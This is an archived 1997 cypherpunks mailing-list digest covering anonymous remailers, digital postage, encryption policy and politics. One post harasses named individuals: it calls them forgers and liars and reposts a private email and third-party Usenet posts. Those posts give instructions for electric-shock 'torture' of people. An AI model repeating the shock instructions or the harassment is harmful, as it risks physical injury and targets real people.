Date: Sat, 27 Sep 1997 15:06:31 +0800
To: cypherpunks@Algebra.COM
Subject: Leaving again
Message-ID: <Pine.LNX.3.91.970927060440.1941B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




I`ll be off the list again for a while, and this address may well be 
closed, not sure yet. If anyone needs to get me +44 (0)410 933621 is 
always a good one to try, I should be back on the list within a few weeks 
though.

Bye for now.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 27 Sep 1997 15:06:30 +0800
To: Toto <cypherpunks@cyberpass.net
Subject: Re: Welcome back, Sandy!
In-Reply-To: <342C514D.62F@sk.sympatico.ca>
Message-ID: <199709270615.AAA16112@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    let's see... how do I phrase this?  ...uuuuhhh.

    Hey, I got it!  

    Toto's lost it! (not that he ever had it)

    some things just never change.
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 27 Sep 1997 15:12:01 +0800
To: toto <cypherpunks@toad.com
Subject: Compromising the constitution in style [was] Re: Do not pass Go. Mime-Version: 1.0
In-Reply-To: <342C3D7F.7229@dev.null>
Message-ID: <3D7F342C.3CE2@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970926:1655 
    A Player To Be Named Later <aptbnl@dev.null> purported to expostulate:

    [snip]

+  Why is it that people who would castigate, slander and lynch a person
+who cheats at golf, are so eager to preach 'compromise' with those who
+want to cheat at 'the Constitution'?

    elementary, Mr. Watson: politicians _must_ pass a law, even a bad
    law (so they can go home and say they were doing their job). in
    America they call it "log rolling".

    with few exceptions, todays politicians are a collection of morally 
    derelict, intellectually bankrupt, ego-aggrandizing inanities.

    power corrupts so vicariously their threadbare cranial vacuities that
    they succomb to the ultimate aphrodesiac: governance; any governance
    will do since the rules do not apply to them. alone they thunder in
    paranoid schizophrenia.

    when the day comes, the tumbrils shall roll to the fantasy of 
    Saint-Saens Organ Symphony (#3) --do not ask for whom the bell 
    tolls, it tolls for thee. (EH) we are closing the 3rd of 5 movements

    and none shall have the loyal lady in Stendahl's 'The Red and the
    Black' to caress their severed heads.

 [snip]

 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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=gSey
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 27 Sep 1997 22:37:23 +0800
To: cypherpunks@cyberpass.net
Subject: Moral Legitimacy (was Child Molester Prevention)
Message-ID: <3.0.32.19970927072718.0068f0cc@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Glenn Hauman quoted:

>"But this relationship depends on the secular Left-liberals cooperating, by
>also making children a transcendental category. That they have done so has
>less to do with the welfare of children than with a restless search by
>these elites for a source of moral legitimacy to shore up their managerial
>foundations."
............................................................


	a restless search.....for a source....
	of moral legitimacy....

I am moved to preach to the Choir, for this struck me as a significant
series of words to remember.  (There have been many posts lately to which I
wanted to comment, but I'm restraining myself to this one.)  .

Some people search within the U.S. Constitution or Declaration of
Independence, for moral legitimacy to their political stands.   

Some efforts for moral legitimacy are from people who feel left out and
need (desperately) to find a place for themselves within a social/political
context.  Ex:  "we hold these truths to be self-evident, that all men [...]
are endowed by their Creator with certain inalienable Rights..." i.e., with
certain qualities which in reality make them, therefore, no less
significant politically than any who would presume to be above them.

Some efforts seem hypocritical, appearing to be attempts at creating the
image (illusion) of being founded, similar to the concepts of Natural
Rights, upon something unquestionable or inalienable, yet upon closer
examination resembling less the endowments of a Superior Creator than of
certain psychological desires of regular Human Beings.

Differentiating between Deific Origins and other Sources:  the concept of
being endowed with qualities like "inalienable Rights" leads one to think
that one (any individual) has within them the justification for standing
separately from, and acting independently of, the absolute hold of a
"ruler" of a whole group of people.

Contrast that with concepts which lead one to forego the idea of oneself as
their own person, substituting instead the image of being situated in a
hospital, where everyone is the equivalent of a patient and all are cared
for by an Official Nurse who looks after their best interest.  All
officially justifiable and legitimate investments within this domain are
identified not by reference to innate strengths which anyone might find
within themselves, but instead are categorized as varieties of weaknesses
which give argument to the propriety of surrendering to the ministrations
of Authorized Overseers - who will sympathize, succor, and tend to those
investments.  The intent is for everyone to internalize the image of
themselves as invalids within an atmosphere of sympathy for their "special"
condition; invalids warranting the attention of the only ones who will be
sensitive to their delicacies -  those worthy causes which everyone else
neglects.

Whereas the Founders (of the U.S.) looked to innate qualities of goodness
for the justification to their rebellion against mistreatment, these
Upwardly Mobile Middle Managers look for untended frailties at the "bottom
of the barrel" to provide just cause for acquiescence to their programs.

Question:  what is "moral" legitimacy (more than merely legitimate)?
Better than Thine? One which would be so worthy of one's investment, that
it would seem like an obligation, a duty; in a society, that which would be
deemed worthy of *everyone's* time and effort, without exception.

Is it good to search for (establish) a moral basis to use as a defense of
one's manner of existence, or is it really unnecessary?  If left
unreferenced, unmentioned, will that leave a vaccum in the mind which might
otherwise support  such endeavors?  Does one *need* to legitimize one's
(political) behavior?   When it becomes necessary for a people to "assume
among the powers of the earth, the separate and equal station to which the
Laws of Nature and of Nature's God entitles them, a decent respect to the
opinions of mankind requires that they should declare the causes which
impel them to the separation."

The Founders felt the need to justify their break from the Mother Country.
 Today the UMMM feel the need to accomplish acquiescence to their goal of
situating themselves as The Legitimate Ministers of Important Matters.  As
they must evoke feelings of justification for their intents and purposes,
the reasons for these, the source, must appear to be Moral, to be
undeniably Basic and inarguably appropriate, neutralizing all argument
against it.

But "[...] when a long train of abuses and usurpations, pursuing invariably
the same Object evinces a design to reduce them under absolute Despotism,
it is their right, it is their duty, to throw off such Government, and to
provide new Guards for their future security."   

Like, inviolable encryption.  <g>

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 27 Sep 1997 23:11:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <d9ad723431a59140b039a71c9cecc923@anon.efga.org>
Message-ID: <v03102800b052cedf9470@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:18 AM -0400 9/27/97, Anonymous wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Just out of a curiousity, why is it that no remailers accept ecash?
>(This is not a jibe at remailer operators or authors of remailer
>software.  I am really curious if this is a "didn't get to it yet"
>sort of thing, or if there's something hard about it.)

One item which has been missing is an accessible API. (The Digicash
merchant software is, I believe, designed for online use only.)  This need
is about to be fulfilled.  Another item is a service to sell/redeem ecash
w/o need of a bank account and supporting client software.  This too is
about to become available.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 22:30:51 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Digital Postage (fwd)
Message-ID: <199709271337.IAA21311@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Fri, 26 Sep 1997 23:18:02 -0700
> From: Tim May <tcmay@got.net>
> Subject: Digital Postage

> At 8:56 PM -0700 9/26/97, Jim Choate wrote:
> 
> The point is that some remailers will remail for free.

And consequences will be:

 -  in general intermittent reliability with boxes going up and down
    like yo-yo's. I suspect it will be like BBS's were in the early
    80's when everyone put one up for two weeks.

 -  limited traffic bandwidth, why would some kid or hobbyist be
    willing to spend (for example) $1k/month to keep a T1 going so
    others can use it.

 -  parties who would not use a fully commercial site because they
    don't want to pay for it will flock to such servers. Because
    they loose nothing if it goes down they have no reason to
    consider the impact of their actions on themselves.

> Some will remail for some form of digital postage. Some will charge too little, some too much.
> Some will adjust their prices based on market/customer reactions. And so on.

And there are a couple of problems with this:

 -  it relies on a mechanism not currently in place to interface with
    other more traditional financial institutions. Which I might add
    don't look upon this as the most trustworthy mechanism.

 -  how do you charge for the postage, per submission? What happens when
    I want to send 10,000 parties the email. Do I still pay the digi-postage
    equivalent of $.35? Or do I pay $350.00? What about intermediate
    remailers and their desire to get a cut of the pie?

> What _others_ think is not really too important.

Really? Tell that to the DA when some bozo from the local Scientoligist shows
up and starts harrassing you with legal actions. No, CyberPromo is a clear
indication that what others think can in fact sink your boat no matter how
big a bilge pump you might have.

> It seems fairly obvious that some form of metered service--remailing for a
> fee--is likely to evolve.

It must evolve or else we won't have anonymous remailers. People in general
are not going to build these sorts of systems out of some philanthropic
streak. Even if they did, it is equaly obvious they won't be reliable for
long-term use.

> Charityware remailers will work for a while, so
> long as the usage is low and the expectations are even lower. But
> eventually those with an actual need for anonymous communication will pay
> for the service. How much, and when, and in what form, all this remains to
> emerge.

Agreed. However, I do not believe that anonymous remailers have a
sufficiently parallel structure with physical mail to carry that system
over. When the Austin Cpunks had kourier up about a year and a half ago
it became clear that financing such an enterprise is not trivial. I suspect
that anon remailers will operate by something similar to ISP's where when
the account is setup some fee is paid for use and not on a use by use based
fee. The problem with that is it creates a 'concrete' link between the
party desiring anonymity and the remailer operator that may be exploited in
some (most? all?) cases to break that anonymity.

> I call this metered usage "digital postage" because that's what it is. It
> has to be untraceable, obviously, and so some form of blinded cash, or
> blinded token (e.g., "use once tokens") has to be used.

The problem is that it shuts out people like one of my customers who still
uses a 2400 modem, even after I offer to give her a spare 14.4 that I have.
While I can appreciate the desire to expunge such luddite thinking as a
gear-head but as  a business I don't care about their philosophy unless it
leads me to their purse strings.

If remailers are going to work as a business we can't turn our back on
traditional payment mechanisms. The problem, as I see it, is that there is
no clear mechanism for me to write a normal check and have that turn
into a anon account easily without involving 3rd parties and their
concommittent extra costs - further increasing the end-user cost to do
business. There better be a reason or they won't pay for long.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 28 Sep 1997 00:08:18 +0800
To: Lucky Green <wendigo@ne-wendigo.jabberwock.org>
Subject: Re: Drug free society [Was: Re: None]
In-Reply-To: <199709270704.DAA26015@deathstar.jabberwock.org>
Message-ID: <v03102802b052d82dc41a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>> That should read:  ... free of drugs that cannot be taxed or
>> patented.
>I have one of the red ribbons they give to school kids during DARE week.
>It reads "Live healthy and drug free. Sponsored by Thrifty Drug Store".
>
>The analysis is obvious.

Yes, "Just Say No...to Prescription Drugs"

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 22:30:58 +0800
To: cypherpunks@ssz.com
Subject: pna.show_story?p_art_id=347667&p_section_name=Sci-Tech
Message-ID: <199709271341.IAA21333@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN Custom News logo
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   [INLINE] September 27, 1997 1:23 pm GMT
   [INLINE]
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   The story below was selected from CNN Custom News - a new personalized
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                          MOVING MONEY IN CYBERSPACE
                                       
   NewsBytes
   26-SEP-97
   
   
   SINGAPORE, 1997 SEP 26 (Newsbytes) -- By Kenneth Kway. When it comes
   to conducting monetary transactions on the Internet, the world can
   only move as fast as its financial institutions. Banks in particular
   have an important role to play in the acceptance of the Internet as a
   legitimate medium in which secure business transactions can be
   performed.
   
   But even banks in well-connected Singapore have been cautious in
   embracing the Internet for their business while being clearly
   interested in tapping in on an increasing number of Internet users in
   Singapore and the region. The Development Bank of Singapore (DBS) is
   one of the first to make Internet banking a reality.
   
   DBS hopes to revolutionize Singapore's local banking industry by
   giving customers the convenience of banking through the Internet at
   any time they choose and from anywhere they happen to be. "We expect
   other banks will soon be unveiling similar programs but we are the one
   of the first to bring this service to our customers," said Lau Chan
   Sin, DBS deputy president.
   
   "We want this project to contribute to the creation of an IT culture
   where customers can experience the ease and convenience of banking on
   the Web," said Lau.
   
   The trial involving a select group of DBS customers and staff will
   last until October, when the system will go live. They will have
   online access to detailed information regarding their results. Among
   other things, they will be able to obtain real time information about
   their accounts, track cheque status, transfer funds and effect payment
   of bills.
   
   "For now, it is unlikely that Internet banking will move into areas
   that are not already covered by phone banking," says Datapro analyst
   Lim Soo Ching. "As it is, banks are trying to work out a business
   proposition for phone banking. Online banking would face the same
   concerns."
   
   The bank's home page, users' first point of access, will deliver
   banking news to the customer. The bank has gone one step further and
   allowed users to customize the kind of news they want to receive. Each
   time they check the area on the DBS home page labelled "Your Personal
   News" they will be presented with the personalized bulletin that is
   relevant to their needs and banking habits.
   
   The bank has put in place a slew of industry standard security
   measures like firewalls and authentication services. These measures
   are supplemented by a proprietary security solution. The emphasis is
   on confidentiality of the transaction as much as protecting against
   unauthorized access.
   
   "Looking at the technology the bank has out in place, security is not
   a problem," says Lim. "Banking may be actually safer than phone
   banking, but the user perception is just the opposite." The bank
   stresses the importance of user cooperation to maintain a high level
   of security. "The customer has to work hand in hand with the security
   systems that the bank has put in place," said Mrs Elsie Foh, executive
   vice president of retail banking at DBS. "For instance they should
   remember to log off from the system once they have completed their
   banking session.
   
   The bank was not at liberty to reveal the equipment and software used
   in the project but it was disclosed that the entire setup cost S$2
   million. Aside from an initial sign-up fee, the bank intends to charge
   users a monthly fee for the program after the initial 6-month
   promotion period.
   
   DBS will add to the initial services offered through the Bank's
   Internet Banking service. "We met with great success bringing our
   customers the convenience of share application and COE (Certificate of
   Entitlement) bids through ATMs," said Foh. "Similarly, we intend to
   broaden the scope of our Internet services to include more diverse
   types of commercial applications."
   
   Investment related transactions, insurance purchase and third party
   funds transfer are just some of the areas being explored for future
   implementation. In this way, the banks hope to build greater value on
   the new service and attract a high user base. DBS expects 30 000
   customers in the first year of the system's operation and projects
   that the number will climb to 150000 in 3 years.
   
   "Culture will also make a difference," says Lim. "Asia tends to take
   longer than the West in the acceptance of new technology." He cites
   automated teller machines (ATMs) as one such example. "It will be some
   time before online banking becomes the norm."
   
   DBS is looking into providing all its users with personal financial
   manager software such as Intuit or Quicken. This would allow customers
   to better coordinate their personal finances with the bank. Such a
   package will most likely be customized to work with the bank's system.
   "The significance of this technology is that any computer in the world
   that can access the Internet is instantly a transaction terminal that
   can be used to do banking." said Lim.
   
   
   
   (Reported by Newsbytes News Network http://www.newsbytes.com)
   
   
   
   Search the net: InfoSeek ___________________ ____ [Help]
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   Copyright &copy; 1997 Cable News Network, Inc. A Time Warner Company
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 27 Sep 1997 21:36:55 +0800
To: cypherpunks@toad.com
Subject: NSA/FBI Agreement
Message-ID: <1.5.4.32.19970927125844.0086fe8c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



There was an earlier request for info about the working
relationship between the NSA and the FBI. One of the
Memorandums of Understanding (MOU) between the
two was published as part of the NRC cryptography
report:

   http://jya.com/nrcn3.txt

This a part of the report's excellent overview of governmental 
electronic surveillance, the agencies involved and their 
mandates in its expanded Section N:

   http://jya.com/nrcnidx.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Sep 1997 21:55:11 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Charles Platt on wiretaps, government abuse of power
In-Reply-To: <v03007808b0523ef85bda@[204.254.21.17]>
Message-ID: <cwyoDe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

>
> [Charles is an author, a Wired contributor, and a friend. --Declan]

No wonder that lying forger Declan is friends with the lying psychopath
Charles Platt.  Declan, you threatened to post the transcript of my
interview - please go ahead, so everyone can confirm that you forged
quotes from me.


Sample e-mail from Charles Platt, discussing his view of the polices:


Received: (from cp@localhost) by panix.com (8.8.5/8.7/PanixU1.3) id AAA21949; Sat, 22 Mar 1997 00:43:01 -0500 (EST)
Date: Sat, 22 Mar 1997 00:43:01 -0500 (EST)
From: Charles Platt <cp@panix.com>
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Cc: cypherpunks@toad.com, Charles Platt <cp@panix.com>
Subject: Re: PGP Security
In-Reply-To: <5PTX4D3w165w@bwalk.dm.com>
Message-Id: <Pine.SUN.3.91.970322003754.21017C-100000@panix.com>
Errors-To: cp@panix.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 21 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
> assassinated until the end of March in some excruciatingly painful way

Okay, Vulis, that's it, you have made an explicit threat in a public
forum, I know where you live, I know your phone number, in fact I once
spoke to you on the phone, and I will be suggesting to the rather slow
witted people at my local police precinct that you have already
demonstrated unstable, threatening behavior toward many people, giving me
good reason to believe that you are capable of assault.

This is the last you will hear from me online. Anything further will be
stated in person.



Sample usenet articles by Charles Platt:

Subject:      Re: electricity torture?
From:         cp@panix.com (Charles Platt)
Date:         1997/01/31
Message-Id:   <5crvmh$jhe@panix.com>
Newsgroups:   alt.torture

I suggest an enhancement to the basic phone-torture scenario. Buy a cheap
answering machine that picks up on the third or fourth ring. Inside the
answering machine there is usually a relay that closes when the machine
picks up. It might be interesting to adapt that relay to supply an
electric shock to the slave. Thus, the slave gets to sit and listen as the
phone rings once, twice, a third time ... and of course, sometimes the
master hangs up BEFORE the fourth ring, just to make life more
interesting.

It seems to me, true torture has to entail anticipation and uncertainty.


Subject:      Re: Orgasm control
From:         cp@panix.com (Charles Platt)
Date:         1997/01/05
Message-Id:   <5ap55i$iit@panix.com>
Newsgroups:   alt.torture

Dave & Eddie (dave-ed@dircon.co.uk) wrote:

> Has anyone got any experiences, tips or techniques for encouraging and
> building up to extreme intensity a male's need for orgasm, and then
> withholding the longed-for and urgently-needed relief of ejaculation -
> over a very long period of time, and as a torture?

Trouble is, in the long term this tends to result in enlargement of the
prostate. Of course that can be a torture in itself (urinary problems etc)
and I'm not saying you shouldn't do it, but at least the victim should be
aware of these potential long-term penalties.


Subject:      Re: Elec. Tort. (I was shocked with 220...)
From:         cp@panix.com (Charles Platt)
Date:         1997/02/19
Message-Id:   <5egkkm$qbq@panix.com>
Newsgroups:   alt.torture

JBtspflk (jbtspflk@aol.com) wrote:
> BTW, I always thought that the telephone ringing signal was 20Hz AC, not
> DC.

You're right, the ring signal is AC. Old phones used a rectifier that
would pass the AC and ring the bell. When the ringing signal is not
present, there is a DC potential on the line. This isn't painful but the
AC ring signal does, er, give you a shock.

This doesn't have much to do with torture, does it? Unless, of course,
you regard boredom as a form of torture. "Tonight, my dear, I am going to
tie you down--and read interesting facts about the TELEPHONE SYSTEM!"


Subject:  Re: Hand Crank Generator
From:  cp@panix.com (Charles Platt)
Date:  1997/01/06
Message-Id:  <5ashd1$k2m@panix.com>
Newsgroups: alt.torture

Leonard (ixion@dorsai.org) wrote:
> How will this tell me how to effectively use this device?
> I'm still looking for practical data.
> Anybody ever use one of these things?

All I can tell you is I used to fool around with one of these things, as a
kid, with a friend. As kids, we took turns with one person turning the
handle while the other took a wire in each hand. As an adult, I would say
this is definitely not such a great idea. I find it hard to believe,
however, that you're going to do any harm if the two (dry) conductors
touch (dry) skin just a few inches apart. As a previous post said, avoid
running current through major organs (heart, brain, etc!).

A previous post gave various resistance values for skin. If you want to
know how much current the generator will pass through skin, first obtain a
potentiometer (variable resistor) that can take a reasonable amount of
current--1 watt, say. Use a volt/amp/ohm meter to calibrate the
potentiometer--i.e. mark where the knob points for 1000 ohms, 5000 ohms,
etc. Now attach one wire from your generator to one side of the
potentiometer, link the other side of your potentiometer with your
volt/amp/ohm meter, switch the meter to measure CURRENT (amps), and attach
the other side of the meter to the other wire of your generator. In other
words, the generator, potentiometer, and meter form a closed daisy chain.
Crank the handle at different potentiometer settings and see what readings
you get from your meter. This will only be an APPROXIMATE guide, and you
may want to check the skin resistance of your actual test subject too.

Note: all the above advice dates back to stuff I did 25 years ago. I think
it's accurate (if it's not, someone will probably flame me anyway); but
as with all forms of consensual torture, it might be a good idea to try it
on yourself first.




---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sat, 27 Sep 1997 16:13:18 +0800
To: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Subject: Drug free society [Was: Re: None]
In-Reply-To: <199709270704.DAA26015@deathstar.jabberwock.org>
Message-ID: <Pine.BSF.3.96.970927095354.1286A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 27 Sep 1997, Mark Rogaski wrote:

> : That vile salamander Gingrich, squeaker of the
> : House, is slobbering about a drug-free America
> : by the year 2001. What a dreary prospect! Of
> : course this does not include alcohol and tobacco,
> : 
> 
> That should read:  ... free of drugs that cannot be taxed or
> patented.
I have one of the red ribbons they give to school kids during DARE week.
It reads "Live healthy and drug free. Sponsored by Thrifty Drug Store".

The analysis is obvious.

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sat, 27 Sep 1997 22:22:34 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: Re: FCC Proposes V-Chip Requirements for TV Manufacturers
Message-ID: <199709271406.KAA14468@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 9/26/97 2:20 PM, Bill Stewart (stewarts@ix.netcom.com)  passed this
wisdom:

>The FCC yesterday proposed rules that would give television 
>manufacturers until July 1 1998 to put V-Chips in half of new TV 
>sets with monitors 13 inchesor larger,and in all sets by July 1, 
>1999. Reed Hundt said that this will "ensure that V-Chip technology 
>does in fact exist in a relatively short period of time".Industry 
>officials protested that the time limit is way too short for 
>manufacturers,saying they need 18 months - 2 years. Comment period 
>runs until November.
>
>Meanwhile, some of the major TV networks are going to a more 
>detailed rating system,Sex/Violence/Language/SuggestiveDialog, with 
>a FantasyViolence category for kids' shows.NBC is resisting 
>that.


   At the risk of asking the obvious .... what ever happened to
parents supervising their kids ... I know all the reasons ... mod and
dad working etc .... but I teach school, and here in Vermont I still
run into families with two breadwinners who actually know what their
kids are doing ... (sadly, not as many as I wish I would meet; and
since my job is working with 'at risk' students 98% of the parents I
deal with have no clue as to what their kids are doing)

  The joke of the whole thing is that most probably the kids will know
how to manage the 'controls' better than the parents and they will use
the V-ratings and controls to figure out which shows they will find
'most interesting!'

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNC0Qp8dZgC62U/gIEQL/qwCfZCgLjnIND1sI6yYIVNrFtuLCbOAAn3k5
PgcBlDQdw/15KXFUJnAay01V
=7mLT
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
 For my PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>   
        

  "...error reading WinOS. (A)bort, (R)etry, (M)acintosh?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 28 Sep 1997 01:41:16 +0800
To: declan@well.com
Subject: No Subject
Message-ID: <v03102801b052ed7ae853@[17.219.102.28]>
MIME-Version: 1.0
Content-Type: text/plain



>From <http://www.scripting.com/davenet/stories/BillGatesonPrivacy.html>
(an e-mail from Bill Gates to Dave Winer)

Bill Gates on Privacy

>From Bill Gates, billg@microsoft.com:

Since I last sent you email on this topic things have gotten a lot worse.

The FBI and the Administration have bills in both the Congress and the
Senate that would force all software sold in the United State by 1999
to allow the government to get at the keys without the user knowing.

Besides the issues of this making it very difficult for us to sell
software to countries like Germany and Canada who want strong encryption
without any backdoor and the issue of how to have the old software work
with the new, there is a huge issue of privacy here. The backdoors that the
government is requiring would create a huge security hole that could be
misused.

I am spending a lot of time on this - calling Congressman and Senators.
However the FBI and the administration are suggesting that restricting
the software industry is key to fighting criminals. Of course they don't
say that criminals will still find it very easy to pre-encrypt the
information they send.

For some reason the public isn't hearing about this issue at all. I
can't believe there isn't more of an outcry. When it went from an
export restriction to a restriction on sofware in the US there should
have been a lot of headlines.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sat, 27 Sep 1997 22:36:36 +0800
To: "Cypherpunks Distributed Remailer" <cypherpunks@ssz.com>
Subject: Re: Remailer latencies (fwd)
Message-ID: <199709271417.KAA14041@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 9/26/97 11:49 PM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>> And, since you asked, would it not be in the interests of remailer
>> operators to have a script which would generate random text,
encrypt
>> it to various remailers and send it out as 'cover traffic'?
>> It would seem to me that this would be particularly valuable for
the
>> remailers that receive the least amount of traffic.
>
>This aspect of traffic cover is more complex than it at first 
>seems. Take for example the second simplest model that I am aware 
>of. For each email that comes in n bogus emails go out with one 
>remailed copy. So for each email we receive we end up processing 
>n+2 emails. Since to be useful n must be reasonably larger than 2 
>to be effective we are left with a quandry. Aswe process more 
>traffic (ie become successful) we find our bandwidth need growing 
>at a linear rate of n, unfortunately the skills and resources to 
>support this increase also get larger as we become more successful. 

 I am incline to think that as the traffic goes up the need to
generate 'n' mails for each 'real' inbound/outbound goes down.  It
would seem to me that one could specify a general volume level, ie, in
a given period of time, say 1 hour if only 1-20 objects of mail comes
in, generate some random amount between say 20 and 100 bogus objects
to have a volume level that provides the uncertainty to
foil/complicate traffic analysis. If 20 to 40 real mails come in,
generate 30 to 150 objects, if 40 to 100 comes in maybe only 40 to 200
extra objects. As the volume rises, it seems to be the need for
voluminous additional bogus objects decreases somewhat as you have
plenty of objects to get a good 'mix' and 'latency.'

  I will admit I am a neophyte here and am working more on what
appears to me as common sense; I would be happy to be educated as to
what is wrong with the above logic ...

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNC0UPsdZgC62U/gIEQKBXgCfZIXbYvWRz2dyGknCt8YXw6Uz+2IAnjO0
4Qf0UZLqODa4GYioABPAPjcf
=CUL5
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "I left him for dead and buried his axe.  If there was a Valhalla, I
  wanted him weaponless." from "Highlander"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 23:32:05 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer latencies (fwd)
Message-ID: <199709271532.KAA01180@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Remailer latencies (fwd)
> Date: Sat, 27 Sep 97 10:17:52 -0400
> From: "Brian B. Riley" <brianbr@together.net>

>  I am incline to think that as the traffic goes up the need to
> generate 'n' mails for each 'real' inbound/outbound goes down.

In effect as you get more popular your traffic becomes easier to track.
I don't think I would use a remailer that advertised this 'feature'.

Traffic analysis is something that is easily automated so the measure of
success (to my mind anyway) is what sort of resources would a mallet need
to get a solution versus the time frame that solution might we relevant.
Admittedly this is a very sloppy area of remailers, I am not aware of any
analysis with anon. remailers in mind.

If anyone does know of a source please cough it up...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 27 Sep 1997 23:11:49 +0800
To: David HM Spector <spector@zeitgeist.com>
Subject: Re: Chutzpah!  FBI Calls Privacy Extremists Elitist
In-Reply-To: <199709260354.XAA01881@wintermute.ny.zeitgeist.com>
Message-ID: <Pine.SUN.3.94.970927105730.29271B-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain





